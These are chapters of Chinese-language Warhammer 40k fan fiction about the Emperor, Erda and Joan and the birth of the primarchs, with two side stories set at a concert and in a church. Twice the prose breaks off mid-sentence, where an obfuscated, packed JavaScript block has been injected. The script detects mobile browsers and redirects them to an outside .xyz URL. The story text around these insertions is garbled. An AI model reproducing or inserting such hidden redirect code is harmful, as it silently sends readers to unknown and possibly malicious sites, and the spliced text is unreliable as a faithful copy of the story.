这是必然的结局,她美丽,强大,与他携手度过无数岁月。她时常撞见帝皇与尔达执棋对弈,女学者深色的指尖掠过某场胜局,帝皇眉心的纹路便随之舒展。那是某种超越语言的共振,仅需一个眼神,甚至一个呼吸,完美的合作便在无声的静默间达成了,他与她时常争论,但当他们共同达成某件事的时候,连悬浮的尘埃都在两人身侧形成宛如星辰碎屑般的和谐。 而她,静静地看着帝皇与尔达站在一起,他们的默契完美到容不下新的人,他们的共同语言远超她与他们之间的交流,他们的目光交汇间流露出的理解有她不曾参与的过去。 难道她在嫉妒帝皇吗?亦或者嫉妒尔达?不,相较于帝皇,她是如此地敬重尔达。自初识起她们便分享着同一种呼吸,像雏鸟与她的母亲,又似两株根系绞缠的寄生兰。当琼安第一次展示基因剪接成果时,尔达的瞳孔收缩成针尖。那不是导师的审视,而是母兽发现幼崽长出利爪时的惊叹。实验室的光冷淡地投下,划破培育舱蒸腾的雾气,映照在琼安微微颤抖的身形上。长久的疲惫压在她的肩头,而在那些漫长的、不见天日的时间里,她曾无数次被尔达轻柔地拂去额前的发丝,让她枕在自己的大腿上,像母亲安抚不知疲倦的孩子一般,在她的后颈上摩挲、拍抚,沿着脊椎骨突出的弧度一点点安抚,直到她沉入短暂而无梦的安眠。 她们是同一类人,琼安一直这么认为,同样被帝皇选中,同样目睹世界最深沉的黑暗,并在其中塑造人类的未来。 可短暂的温柔让琼安忽略了他们之间原本就有的,漫长的岁月,原来他们的血管里奔涌着同源的冰冷,他们曾是无数古神庙里并生的神像,长着黄金浇铸的骨骼,脚下蜿蜒的血河汇聚成同一条。若将他们比成棋手,那尔达执黑子截断粮道,帝皇的白子便直取咽喉。二十个胚胎逐渐发育成形,二十颗心脏开始跳动,玻璃管中的培养液泛起微光,微小的生命在其中蜷缩,沉睡,等待着成为新的工具,成为他们所塑造的未来的一部分。 一切都是为了更伟大的利益。为了人类,为了那尚未成形的辉煌未来,他们所做的一切皆有其意义。短暂的苦难并不是永恒的,哪怕鲜血流淌成河,哪怕那些在温室中孕育的生命终将被投向战争的烈焰,只要最终的愿景仍在,只要人类文明仍能在黑暗中存续,那么这一切便值得。 实验室深处传来的争吵声撕裂了寂静,琼安停下手中的笔,墨水在纸面上晕开,她却无暇顾及。她的手微微颤抖,指尖冰冷,她听得出那是谁的声音。 尔达。 琼安曾见过尔达沉思时的神情,见过她平静地翻阅资料,见过她用那双纤长的手在培养舱上轻轻摩挲,如同触碰新生儿柔软的肌肤。她一直以为尔达是沉稳的,是理性的,是不该有任何裂痕的。可现在,那声音里的情绪几乎快要将空气撕碎。 “在你眼中我是什么?我只是个生理工具!”她的声音带着某种哽咽的怒意,“难道我只是又一个提供基因的样本?是,我是医生,是接生婆,是原初之母,但在你眼里,我什么也不是。二十个可爱的孩子在我们的实验里诞生,可你不允许我施加任何影响。你让我创造他们的意识与神经,却不准我教他们如何去微笑;允许我雕琢每根骨骼的坚韧,却禁止我赋予他们流泪的权利!万年的并肩换不来哪怕只有一眼的尊重,无数次的合作与辅佐换不来一个称呼,看啊,在你所赋予的,如此强大的帝国,却承载不了最渺小的两个字:母亲!” 实验室的空气仿佛凝固成透明的玻璃,沉闷、压抑,连呼吸都变得困难。她听不清帝皇的声音,他的语调带着一贯的威严与不容置疑,那绝不是什么温和的话语。尔达的声音炸裂开来,怒骂声愈发激烈,像是撕裂沉寂的刀锋,在空荡的实验室里回荡。愤怒像是一道决堤的江河,汹涌地冲刷着一切伪装。琼安听见她用早已失传的语言咒骂,听见她的声音因情绪颤抖。她能想象尔达的神情——那双锐利的蓝色眸子燃烧着怒火,眉头紧锁,语速快得像是利箭般射向帝皇。 然后,一阵沉重的寂静降临了。尔达的怒骂声戛然而止,琼安甚至听不见自己的心跳声。她抬起头悄悄去看,实验室的光芒在培养舱的玻璃上折射出金色的流光,琼安在光影中看见尔达的身影颤抖,握紧的拳头松开又攥紧。而帝皇站在那里,伟岸如神祇,琼安看不清祂的表情,只觉得祂的沉默比任何言语都更加沉重。 自那以后尔达便被禁止过多地接触原体们了。尔达不再如往日般与她并肩,讨论那些艰深的课题,而是像被逐出局外的旁观者,用暗色的头纱裹住所有的表情,孤独地守在某个角落,默默承受着自己的痛苦与无力。 琼安无法整理自己的思绪,无法在那片看似安静的空气中找到自己的位置。原体们的命运已无法避免地与帝皇紧密联系,而她与尔达之间的纽带,也因这层无法触及的隔阂变得愈发脆弱。她开始做不到主动去与尔达对视,也避免与她并肩走过实验室的走廊。每当她看见尔达那双因长久压抑而显得愈发深邃的眼睛时,她感到一种无法言喻的惶恐,那是一种怕被撕裂的感觉。尔达的目光里满是曾经的坚持与决心,而现在却只剩下疲惫与疮痍。 直到后来,她们在小小的花园里再次碰面。在帝皇的麾下相逢时,琼安曾把保存下来的药草种子作为礼物送给尔达,而她用这些珍贵的小东西设法开辟了一个可以用来放松的花园。她们心照不宣地维护着这里,即使刻意地躲避也终将难免再次重逢。她望着那熟悉的身影,一身厚重的蓝色将这位慈母与长姐般的人塑造得愈发脆弱,头纱下的白发也不再一丝不苟地梳着,羊毛卷一般垂落在胸前。 夜风轻轻吹拂,琼安再一次地把头枕在尔达的腿上,闭上眼,感受着指尖拂过发丝的温柔触感。草木的清香弥漫在空气里,夜色温柔地笼罩着这方小小的天地,仿佛所有的纷争、痛苦、理性与挣扎都被隔绝在外。 “你还是会种这些。”琼安低声说,声音里带着几分疲惫,几分怀念。 尔达的手没有停下,只是轻笑了一声:“总得留下点什么。” 月光在尔达的轮廓上镀了一层淡淡的光辉,使她的神色显得柔和许多。可琼安知道,那份温柔只是暂时的,就像这座花园,像这片夜色,像她们之间短暂的安宁。 “你喜欢他,对吧?”尔达的声音轻轻响起,如夜风拂过花叶,平静得不带一丝波澜。 一个突如其来的问题。琼安沉默许久,最终点头。她无法否认这一点。 “有你们在,我会很安心。你们是让我唯一能够看向过去的存在,像风暴中心的灯塔,或许我不愿意前往那里,触碰灯塔的本质,但在风暴之中航行的我会需要。”她补充道,“你,还有他。” 然而,尔达只是笑了笑,声音轻柔,像母亲看着一个孩子,又如智者看着一个可爱的傻瓜。 她轻轻地叹了口气,指尖顺着琼安的发丝滑下,动作温柔得像是在安抚一只不安的鸟儿。 “你总是这样啊....”她轻声道,带着一丝琼安无法揣测的意味,“明知道答案,还要骗自己。很多人都爱他,或者爱过他,包括我也是,曾经是。银河系的每颗陨石都曾妄想成为他的卫星。” “可他的时间比我们都久,他的路比我们都要长,他的野心辽阔到看不见边缘。他会稍微分给某个人目光,但他不为任何人停留。” 她见过愤怒的尔达,见过温柔的尔达,见过悲伤的尔达,但她从未见过此刻的她。 那是一种超然于所有情绪之外的神情,像是看破一切后仅剩的平静,又像是站在时间长河的尽头,回望曾经的虚幻泡影。月光落在尔达的眼里,琼安却从未觉得它如此冷淡,仿佛光辉本身都被抽去了温度,只剩下一片死寂的银白。 “尔达?”她轻声唤道,然后叹息,“有什么我能为你做的。” 尔达缓缓低下头,看着她,嘴角似笑非笑地微微弯起,母亲的慈悲与星辰般的冷硬在她眼中交替。 “带我去看看我的孩子们吧。”她说。 6. 雪落无声(逐日番外)[番外] BGM:天鹅湖序曲 “情人节这种东西,除了促进消费一点用都没有。” 虽然季琼安不太认同这一点,尤其是当跟她说完这话的舍友,转头就答应了戏剧社帅哥的告白,不过这个散发粉红泡泡的节日,确实与她没有太多关系。当她熬了三个大夜,将论文提交完毕,合上笔记本电脑时,宿舍窗外松树的剪影正巧被暮色浸透。临近情人节的空气里,整座大学城都漂浮着香精与商业街促销的混合气息,到处都洋溢着甜腻的幸福。在礼貌又妥善地拒掉又一个可能是出于对东亚洋娃娃女孩的幻想,带着不易察觉的傲慢跑来约她在情人节当天晚上出门的男性同学后,琼安在论文提交完毕的空档,认真思考了一下情人节的本质,指尖无意识摩挲着手机锁屏壁纸上的教堂彩窗照片,那是去年在维也纳交换时拍下的,缤纷的颜色间,不知为何栖着一对美丽的白鸽。 那个男同学的香水味还还粘在走廊,混着隔壁宿舍飘来的肖邦夜曲。琼安想起教授在课堂上谈到她写的柴可夫斯基论文时,镜片后淡淡的笑意:“尽管早已听过数次,但现场与录音还是有足够的区别,每次亲临现场都如见证天鹅如何离水上岸,或许你也该去看看。”此刻这句话在胸腔里发酵成某种酸涩的勇气,促使她点开那个沉寂将近一周的聊天框。 “这次的论文从题材到措辞都还不错,教授出于以上三点理由,会给你不错的评分。如果一切顺利的话,情人节当天你刚好可以出去放松一下。”和尼奥斯先生的聊天记录还停留在论文提交前,但是情人节这个日期,还有尼奥斯先生....不知道为什么,一把这两个词汇组在一起,她就觉得耳朵微微发烫。 之前钢琴专业的好友说什么来着?市中心的大剧院在情人节当天会有很不错地演出?好像教授在课堂上也提到过。约尼奥斯先生出门只是为了答谢他一直以来的帮助,应该不算....约会吧?是啊,这只是学术答谢。琴弓重重落在G弦,震得松香粉末簌簌飘落,毕竟尼奥斯先生耐心地指导了她很多音乐相关的研究,礼貌地表达感谢也算一种理所应当。 于是,在通过完成今日的大提琴练习平复心情后,琼安思考良久,终于是在社媒上搜索到了演出信息和购票渠道,大剧院海报上美丽的英文花体字在屏幕幽光里舒展羽翼。反反复复地在聊天框里消磨了半小时,她终于还是闭着眼按下发送键,仿佛抛出一枚注定沉入深海的许愿币。 “尼奥斯先生!我的论文拿到A啦!谢谢您!本市的爱乐交响乐团会在周五有演出,您当天有空吗?” 信息刚发出去她就后悔了,手忙脚乱之下还错把删除当撤回,等到打开电脑调聊天记录补救的时候,已经过了撤回时间。然而出乎意料的,消息提示震动的频率烫到了她的手心。 “有空。”对方几乎在瞬间回应,“事实上,团长还问我是否需要留票。” ”那么我就跟他说,留两张。我会在你的宿舍楼下等你,晚上5:30,演出开始前还可以去附近的中餐厅稍微吃点东西,到时候见。” 琼安还没来得及回复尼奥斯,就目睹他不间断的回复将当天日程安排的明明白白。大脑关机了几分钟后,她把脸埋在手里,无声尖叫起来。回到宿舍后发热的额头还未消退温度,她只好贴上冰凉的窗玻璃,看水雾在眼前晕开霓虹的残影,以及对面学生便利店橱窗里的情人节巧克力堆成的粉色金字塔。 周五当天,琼安下了课后就直奔宿舍,打开衣柜翻翻找找,色彩缤纷的衣物整齐如待阅的士兵。虽说为了观演和演出准备的正装已经足够,但她还是花了很久思考,甚至拉了舍友来为她参谋,最终无视了穿衣风格过于大胆的舍友的抗议,挑了一套保守的黑色及膝套装,还在衣柜深处摸到一条母亲寄来的珍珠项链——去年圣诞的礼物,标签仍倔强地翘着边角。尽管今日天气预报有雪,为了小小的美观私心,琼安还是选择仅罩一件羊毛大衣。 傍晚的雪来得恰合时宜。她踩着黑色玛丽珍漆皮鞋跑到楼下,鞋跟叩击地板响声清脆,远远望见那辆黑色轿车泊在宿舍门口,尼奥斯先生倚着车门翻阅精装书,雪粒停驻在他肩头,恍若时光特意为此刻撒下的银箔。明明距离约定的时间还差五分钟,可他就在那里,身着一袭剪裁完美的黑色风衣,沉稳的色调衬得他不像学者,更像是从历史中走来的贵族。 迎着周遭同学们的目光,尼奥斯先生为她拉开了车门。 “晚些时候可能有大雪。” 上车后他顺口提醒道,骨节分明的手腕掠过温控旋钮。暖气漫过真皮座椅,将落在车窗上的雪花呵成氤氲的雾。 演出在市中心历史悠久的大剧院内举行,暖黄的水晶灯倒映在红色天鹅绒座椅上,空气中弥漫着木质和陈旧纸张的香气。交响乐团缓缓奏响了第一首曲目—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450323|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴可夫斯基的《天鹅湖》。旋律悠扬,琴声仿佛湖面微微荡漾的涟漪。 尼奥斯先生静静地听着,他的深金色眼瞳反射着舞台的光辉,修长的手指随乐曲轻敲着座椅扶手。他是如此强大,沉稳,以至于悄悄地看向他的琼安,一度怀疑音乐是否能真正触动他的心神。但在这悠远的旋律间,她却看到了一丝不同于往常的神色:某种深藏于岁月之后的怀念,微不可察的遗憾,好像门外纷纷扬扬地飘落,在时间里转瞬即逝的大雪。 “您喜欢这首曲子?”她轻声问。 他移开目光看向她,眼底的光芒温和了一瞬,“它让我想起一些遥远的记忆。” 尼奥斯没有继续说下去,而她也很识趣地没有追问。音乐继续流淌,琼安悄然靠近了一点,肩膀微微蹭到他的衣袖。他没有避开,似乎也没有察觉,像是纵容,也像是默认她些微的逾矩。 交响乐在盛大的高潮中落幕,掌声雷动,散场时雪已成絮。尼奥斯先生撑开黑伞,伞骨投下的阴影恰好圈出半米见方的私密空间。她数着步数讲述学校里发生的荒唐事,恼人的男同学,风风火火又穿衣风格大胆的室友,都被她模糊成礼貌到可在社交场合被接受的版本。他偶尔应和,呼出的白雾与她的在伞下短暂相拥,路灯将他的目光变得无限柔和,厚重的金眸却依旧空阔,季琼安踩上台阶的脚步声突然凌乱,此刻她才意识到,那些被自己用名为学术所缝补的无数个借口与小心思,早已在对方从容却毫无破绽地配合中褪线成摇摇欲坠的补丁。 “晚安,尼奥斯先生。” 她踌躇许久,最终还是在分别时选择简短地道别。 舍友不在房间里,琼安脱下大衣挂进衣橱里时注意到上面有像细钻般的冰晶,抬眼一看穿衣镜,果然黑色的短发上落了不少雪花。她将它们轻轻从发丝里摘落,凝视着这些白色的小东西在指尖消逝,再一次地想起那凝视着舞台的,哀伤的眼眸,以及从剧院出来,走向停车场时,未被黑伞阻碍的雪花也平等地藏进尼奥斯先生漆黑的长发。 于是,季琼安轻轻叹息了一声,蹲了下来,环住膝盖,把脑袋埋了进去。 像这般一同淋过雪,那么此生是否也算....一起白了头? 夜色渐深时,她梦见自己化作柴可夫斯基笔下的天鹅,在月光粼粼的湖面独自旋转。而岸边始终立着道黑色剪影,肩头落满永不融化的雪。 7. Dona eis requiem(逐日番外)[番外] BGM:Dies irae, dies illa (Sequence from the Mass for the Dead - Requiem) 晨光穿过彩绘圣母像,将季琼安低垂的,厚重的深色睫毛染成琥珀色。他立在阴影中,看她手持的玫瑰念珠在掌心掐出十字凹痕。琼安刚从高中毕业,正在享受离家前的最后一个暑假,虔诚的眉眼间还未褪去独属于高中女学生的青涩,干净又盲目得像画中圣人怀里的白羔羊或乳鸽。 她的时间在日程表里被规划成四四方方的模样,无需提前告知,他便晓得在这个点要到神明的家里来寻她,白纸一样的小女孩会愚钝地在这里为不存在的污点忏悔,空阔而华丽的厅堂像一张装点谎言用的糖果纸。管风琴声伴随圣歌嗡鸣,他凝视圣坛之上面目全非的另一个自己,忽然不知道为什么自己一定要在这个时间到这里来。 一场弥撒结束,琼安还立在那里像只不愿离圈的小羊,他终究是按耐不住,默默朝她走去,站到她旁边的位置上,一边走一边慢慢想无数个自己的名字,直到她带着很高兴的惊诧小声喊他才回过神来,垂下目光认真去看她。 “尼奥斯先生!”琼安说,笑起来的时候像羽毛一样软软的:“您怎么到这里来啦。” 尼奥斯没应声,空气中弥漫着蜡烛的香气和木材的味道,而她的信念单纯又执着,像是一朵不会凋谢的花。 “附近有个展览,旁边就是这座教堂。” “尼奥斯先生也信天主吗?”她怯怯地又满是好奇地问。 “我信所有跪拜的姿势里,都藏着站立的渴望。”他用目光抚过被钉穿的神像,铁锈色的神血在暗色的金瞳里烙下浅浅一层,“就像你此刻的祈祷,本质是在寻找比教堂穹顶更高的天空。” 她不大好意思地笑了笑,没再说话,他辨认出那是一种教徒式的悲悯:似乎不小心冒犯到你也被你冒犯了,但是没关系我可以原谅这句话。于是他也用同样的目光去看她,像在看一个可以恢复并奔跑却还要拄着拐杖的骨折病人。他让这眼神在琼安身上逗留得久了些,才挪开目光去看教堂里的彩画。 “你不觉得,所有的信仰最终都在某种程度上逃避了真正的自由吗?”他说。 琼安听得有些愣住,兴奋而虔诚的脸被困惑与无措弄出褶皱。许多人都对她们说出类似的话,只是从尼奥斯先生嘴里说出来总归还是不一样。她自己还未去深究信仰背后的复杂与矛盾就毫无芥蒂地接受了它,自此小心翼翼数着与世俗的篱笆间的距离,却也不似十字军般随时为信仰冲锋,许多话在舌尖滚过一遭又吞回肚里,琼安放下念珠,难得对尼奥斯先生蹙起眉。 “我觉得....”她斟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450324|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酌片刻,小心翼翼地开口,“我觉得信仰是让人找到安宁的方式,虽然它不能给我们所有的答案,但至少它让我们能安心地生活,等待更多希望。” 她的声音带着一点不确定,但其中的真诚没有丝毫掩饰。她眼中对“等待”的信念,怀抱着无数未曾实现的希望,而这些希望,或许就是她此刻所持有的全部信仰,再乖的小孩也有不得触碰的底线,这让尼奥斯想起她家乡那句著名的“揠苗助长”,现在便残忍撕掉挡在谎言前的帷幔有些过早。于是他没有再说话,只是轻轻看着她,让她觉得自己似乎有在认真消化她的每一个字句。时间在这片寂静的空气中沉淀,教堂的钟声和管风琴的低鸣交织在一起,盖住两人之间所有的无声对话。 “你有自己的路要走,琼安。”他对她说,“别让那些看似平稳的日常遮蔽了你真正想要的东西。” 他还有其他事,今日来寻她不过是微不足道的一件,改日也可再叙。眼下的尼奥斯还暂时不愿重拾三千年前在耶路撒冷的荆棘冠,让她向虚妄之神的倾诉转变为对真理的追求。在简短道别后他就转身离开,留下琼安那还带着几分疑惑的眼神。教堂厚重的大门把所有声音都挡在门外,唯有虚无缥缈的声音从缝隙间灌入风里,在他离开后久久未停。 祈望天主,赦众夙犯。 耶稣恻悯,息止安所。亚孟。 8. V.ii 实验室的灯光在她们的影子上拉出长长的剪影,金属门开启,露出深处那些沉睡的孩子们。二十个容器静静地立在中央,灯光在培养液中折射出梦幻般的流光,他们已经完全成型,已拥有强健的骨骼和跃动的心脏,宛如宇宙初生的晨曦。 尔达的手指在舱壁上滑过,她看着那些尚未睁开眼睛的孩子,目光柔和得近乎残忍。 “他们会成为战争的利刃,征服星辰,撕裂虚空。可他们也是我的孩子,琼安,我曾希望他们能拥有自由意志,能选择自己的命运。” 琼安沉默片刻,然后轻声道:“他们是人类吗?” 尔达微微一怔,侧眸望向她,蓝色的眼睛澄澈的好似古泰拉曾拥有过的大海。 “他们当然是人类,应该是人类,原本是人类。”她摇头,仿佛听见了某个天真的问题。“但,人类是什么呢?” 她们不约而同地抬头,地宫没有任何窗户,看不见远处冰冷的宇宙。 “是哭泣,是憎恨,是爱,是创造,是毁灭,是不甘,是追逐光明的本能。”尔达的声音忽然变得悠远,如同千年的风自死寂的星球上掠过。“是被命运锻造成锋刃的野兽,是注定坠入深渊却依旧挣扎向上的愚者。” “而我们,”她看向琼安,“我们是不一样的存在。一个种族每一代新生的族群里,总有概率会诞生那么一两个不太一样的产物。更优秀,更快,更强。而当他们长大了,自然赋予他们的天赋便体现出来,他们多数会成为带领整个族群向前的人。而像我们这样的人,理论上来说,行走于大地的岁月已至少有四万五千年。” “这四万五千年,意味着什么?”琼安忍不住开口。 历经无数岁月的女性没有立即回答,她的眼神变得遥远,无声地回顾着那漫长的光阴。无形之物于空中流动,那是早已携着无数曾拥有的辉煌奔涌而去,而眼下也在缓缓流淌的时间。 “这意味着我们已经超越了许多人类所能想象的界限,”她解释道,“我们看似拥有超越常人的能力,但也因此被注定要承载更沉重的命运。四万五千年,足够让人失去一切,也足够让人发现他们始终无法摆脱的枷锁。” “而他——你知道我在说谁。尼奥斯,启示,帝皇,或者别的什么称呼,他不是我们当中最老的一位,却是我们当中最早意识到这一点的一位。我还能被称为年轻人的时候就遇见了他,那时他刚刚捡起牧羊人的杖,学着管理并引导——引导人类。” 尔达的声音仿佛裹挟着时间的尘埃,低沉而悠远。她的目光望向虚空,仿佛透过这无形的黑暗,看见了某个远古的晨曦,看见一个人缓缓地站在群星下,披着晨曦的光辉,肩负起注定沉重的使命。 “那时候的他,还不如现在这般沉默。他会笑,会说一些无关紧要的话,会花时间思考而不是立刻给予答案....但他比谁都清楚,他的道路将通向何处。”她垂下眼帘,指尖无意识地摩挲着手上的某个银色的饰物,从琼安对尔达初次产生印象起,那东西就已被她佩戴,成为她的一部分。 “你知道吗,琼安,他的失败从来不是因为他不够伟大。恰恰相反,正是因为他太伟大了,伟大到无法成为真正意义上的‘人’。他试图给予人类一个未来,一个没有神明、没有愚昧、没有黑暗的未来。他希望他们能够靠自己的双手去构建一个真正属于他们的世界,而不是依赖更高的存在。” “可他难道错了吗?为什么?”琼安轻声问道。 尔达露出一个模糊不清的苦笑。 “他没错,但他输了。人类需要伟大的领导者,可人类也会害怕伟大的领导者。人类想要被指引,可人类的本质决定了他们终究会试图挣脱指引,但在那之后人类又要去找寻同样的存在来继续捆绑他们。他们憎恨被束缚,却又恐惧真正的自由。” “他以为他能带领他们前行,可他终究只是个牧羊人,而羊群本能地害怕牧羊犬。你明白吗,琼安?当旧神被杀死的时候,新的神又同时诞生。而当一个人被尊为神,或者处于神的地位上时,他的光芒越是耀眼,他的本质便越难以被人看见。当他试图驱赶黑暗时,人们便把他视作光明,至于他的底色究竟是明是暗,他的手段是为了真正的未来还是自我的野心,唉....他们完全不在乎!这四万五千年,我见证人类无数次的兴盛与衰败,甚至亲自步入其中,我看着人类创造奇迹,也看见他们亲手毁掉奇迹。人类的局限让他们如夏天的虫子,妄想谈论冬天。我们是永恒的,我们是最接近永恒的。但尽管如此,我们曾以为,我们比他们更接近真理,可到头来....” 她顿了顿,嘴角带上一抹淡淡的讽刺。 “我们不过是站在更高处的失败者罢了。” “可他没有选择。”琼安喃喃道。 “是啊。”尔达的指尖落在其中一个培养舱上,她轻轻叩击着玻璃,如同在敲响某种不可知的宿命。”就像你我,还有这些孩子们,也从未有过选择。” 她闭上眼睛,似乎在聆听舱内心跳的回响,然后缓缓睁开。那注视着自己骨血的瞳孔仿佛倒映着整个宇宙,如同黑洞一样吞噬一切,又承载万物。琼安不知道该说什么了。尔达也没有开口,于是她们就这样并肩站在容器与容器,心跳与心跳之间,分享着如永恒般的静默。 “看看他们吧,琼安。看看这些注定要成为棋子的生命吧。”尔达静静地凝视着那些孩子们,眸间凝结着未说出口的话:他们悬浮于羊水般的溶液里,脐带却从未与母亲的胞宫相连,那是生来便不知道爱的孩子,继承生父野心的孩子,是被赋予使命却从未有过选择的孩子,人形的棋子,血肉的工具。 “生命的本质是什么呢?我并不知道,而他自以为理解了它,却只是握紧了一个精心编织的谎言。” 舱内沉眠的生命不曾回应,她们也不曾得到答案。 “没有什么存在生来便是工具,也不该成为工具。”琼安思索一番后,回答她,“至少我曾经是这么认为的。但生而为人总有诸般苦厄需要背负,我们被赋予身份,被规定意义,被期待着走向某个结局。就像你说的,我们拥有更多,也注定承载更多。他的理想我未曾窥见全貌,他的野心我已知晓,但为了人类——” “在他身边,他们永远都不会是人类。”尔达打断她,女人的眼神深邃得像是要吞噬光线,目光透过那层隔绝生命与现实的屏障,凝视着其中漂浮的存在。 “他们并非生而自由,而是生来就被编织进命运的锁链之中。即便他们有着人类的形态,有着人类的智慧,有着人类的血肉,但他们从一开始,就不属于人类。” “为什么你会这么说?” “你没有被他赋予额外的任务,他让你留在这里,与阿玛尔一起负责雷霆战士们的替代品。他从一开始就知道你应该做什么,不应该做什么,我看不见他对你的计划,但显然他并不想让你知道这个。” 舱室内的光微微颤动,映照着尔达的侧脸,原本慈爱地摩挲着舱壁的手,现在落在了琼安的肩膀上,冰冷的指尖如蛇一般划过她的脖颈,轻轻扣在下颌那里,将她的头与视线一道定格在了那些孩子们身上。 “再仔细看,仔细听,看真切些。”现在她的气息落在琼安的身上了,声音滑入耳畔仿佛一缕寒冷的风,拂过她的意识深处,“你察觉到了什么?” 她的眼睛追随尔达的指引,落在那些沉睡于舱内的原体身上。生物解析器的光影缓缓扫过他们未曾完全成长的躯体,冷色调的光芒在他们苍白的皮肤上泛起微光,如同新生的雕塑未曾苏醒。那只是一些孩子们,但那真的是孩子们吗?他们在发出什么样的声音?那不是舱体的低鸣,不是仪器运作的嗡响,而是某种更深层次的、细微却无处不在的呢喃——像是有无数的声音在她耳边交错回旋,彼此纠缠,难以分辨,似在吟诵,又似在哭泣。有什么东西在扭曲,在轻声絮语,在窥视着她。 她看见那些溶液并非无机质的死物,而像是活着的某种东西——它们在脉动,在低语,在以她无法理解的方式与这些沉眠者交谈。她看见液体中漂浮的微光,那些细小的粒子本应是营养因子,但现在它们汇聚、旋转、不断变换,扭曲,某种未知的文字,某种无形又存在之物,试图在现实的幕布上刻下它的痕迹。 琼安猛然后退一步,撞到了身后的仪器,冷汗瞬间浸湿了脊背。 她听见了。 不属于现实世界的低语如雾一般漫过她的脚踝,在她耳畔,贴着她的灵魂,缓缓呢喃。 她看见了。 漆黑的缝隙下,细微的暗色流动在空气与空气,骨骼与骨骼间,血管与血管里,它们蜿蜒如同游弋在世界边缘的阴影,于光照不到的地方悄然融入血肉,絮语在耳边盘旋,如爪牙般撕扯着她的理智。她睁开眼睛,或者说,她意识到自己正在“看”。她“看见”了光,冷白色的光,从某个高不可见的地方垂落,如注入梦境的河流,洒满这片空间。但光并未带来温暖,它是冰冷的,是剖解手术台上照亮血肉的光,阴影在它皮下翻涌,掀开光所无法触及的地方,黑暗充满了形状。模糊的,扭曲的,不断变幻的形状,在她的眼角游弋,心跳逐渐失去了规律,脉搏的跳动如肮脏仪式的敲击,她能感知到那些细微的存在——皮肤下渗透的寒冷,空气中弥漫的腐败气息,无形的黏液沿着她的脊椎爬升,慢慢侵入她的体内,迅速占领每一个细胞的角落。 来自深渊的呼吸落在她的肩颈,温热而黏滑,轻轻触碰每一根神经末梢,带来一种无法抗拒的愉悦,令人窒息的折磨。她的皮肤被某种古老的脏物所覆盖,从骨骼深处传来的渗透,带着病态的欲望和腐烂的甜腻,已经忘却的欲望在她体内复苏,它强烈而古怪,令人不安,却又难以言说其深刻的诱惑。她的思维开始碎裂,曾经清晰且坚固的自我变得模糊,仿佛随时会被这股恐怖的力量撕裂成片。无法言说的颜色在她的眼前浮现,声音不再是语言,而是令人疯狂的低语、扭曲的节奏,如同被糟蹋过的音乐从远处传来,侵入她的耳膜。它们没有边界,没有来源,没有存在的规则,只是感官的污染,心智的污点。 有什么东西破碎了,伴随尖啸声一并从远方传来:“你要完美的兵器,我便给你锻造了二十柄利刃——而现在,该让造物主教一教造物主,何为刻骨铭心的孕育之痛了!” 啊...亚空间的子嗣,未曾见光的腐星。二十个小小的喉咙发出欢笑与啼哭,二十颗非人的心脏开始跳动,震动了这片无垠的虚空。火焰,扭曲的火焰,从天而下泼洒的火焰,燃至苍穹,吞没黑夜与白天。琼安睁开了眼,她看见星辰坠落,化作一片片无声的碎片,静静沉入深邃的虚空。心脏猛然一跳,震动穿透她的胸膛,连带着那强烈的压迫感再次升腾。火焰没有烧尽她的□□,而是将她的意识与存在融入其中。天空变成白色,变成紫色,蓝色....绿色....又成了火烧一般的红。 漩涡之中,尔达牵起了她的手。 “他给了他们血肉,却无法赐予他们灵魂。他让他们超越凡人,却剥夺了他们成为真正‘人’的可能。我的孩子们只要在他身边一天,就无法拥有人类的心。而我们也将在这反复的折磨间,不再被称为人。”温柔的慈母冲她微笑,琼安在那笑容里看见无数道色彩的反光,有什么东西在那缎子般的白发之下涌动着如同尸首下翻滚的蛆虫,又像蜡油一样融化掉了,化作明晃晃的满月,满是雾气凝结成的泪珠。 “走吧,琼安,我们走吧。” 她拉着琼安奔跑,冰冷的手死死扣着琼安的手腕,她们跑过无数个黑夜与无数个白天,把尖锐的塞壬般的歌唱和狂怒的惊吼远远抛在身后。星星们坠落在她们脚边,砸出无数个火花,又被随之而来的暗潮扑灭,云朵咆哮着升上天空,嗡鸣着融化在太阳和月亮里。金色的雷鸣像猎犬般向她们追逐,每一次震动都像是来自虚空的深渊,将空气切开,带着足以摧毁一切的力量。有几次,那些电光几乎劈上琼安的后脚跟,她能感受到每一根毛发因那震耳欲聋的声音而竖立,心脏如同被雷霆抽打,砰砰跳动。尔达扣着她的手愈发紧了,她的力量像铁链般锁住了琼安的每一寸皮肤,她能听见两人的骨头在剧烈的摩擦中发出响声,关节被扭曲,疼痛如烈焰般燃烧在她的每一根神经中。 但她们不能停下,不能放慢脚步,甚至不能回头。 “快点!”尔达的声音穿透了风与雷鸣的交织,冰冷而决绝,“别让他们抓住我们!” 琼安只听到耳边风的呼啸,心跳如鼓点般急促,身体被尔达拉着不断前行,眼前的景象愈发扭曲,在那如梦般的虚空里,时间与空间的界限开始模糊不清。 “尔达,快....我们去哪里?”琼安颤颤巍巍地开口,觉着声音要被无形的风吞噬掉了。 尔达没有回头,白发如浪与泡沫,在风中飞舞。她的语调冷漠,仿佛深海中冰冷漩涡发出的呼啸声:“去找一个真正属于我们的地方!去找一个没有束缚、没有谎言的世界!” 